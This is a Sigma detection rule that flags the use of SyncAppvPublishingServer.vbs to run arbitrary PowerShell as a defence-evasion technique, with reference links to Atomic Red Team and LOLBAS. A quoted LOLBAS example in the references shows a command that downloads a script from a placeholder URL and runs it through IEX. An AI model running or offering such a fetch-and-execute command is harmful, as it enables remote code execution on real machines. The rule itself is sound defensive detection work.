SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code

 1title: SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code
 2id: 36475a7d-0f6d-4dce-9b01-6aeb473bbaf1
 3status: test
 4description: Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs
 5references:
 6    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md
 7    - https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
 8author: frack113
 9date: 2021/07/16
10modified: 2022/06/22
11tags:
12    - attack.defense_evasion
13    - attack.t1218
14    - attack.t1216
15logsource:
16    category: process_creation
17    product: windows
18detection:
19    selection:
20        CommandLine|contains|all:
21            - '\SyncAppvPublishingServer.vbs'
22            - ';'  # at a minimum, a semi-colon is required
23    condition: selection
24fields:
25    - ComputerName
26    - User
27    - CommandLine
28    - ParentCommandLine
29falsepositives:
30    - Unknown
31level: medium

References

• atomic-red-team/atomics/T1216/T1216.md at f339e7da7d05f6057fdfcdd3742bfcf365fee2a9 · redcanaryco/atomic-red-team

  

  Small and highly portable detection tests based on MITRE's ATT&CK. - redcanaryco/atomic-red-team

  
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• Syncappvpublishingserver | LOLBAS

  Example command on how inject Powershell code into the process SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" Use caseUse SyncAppvPub...

  
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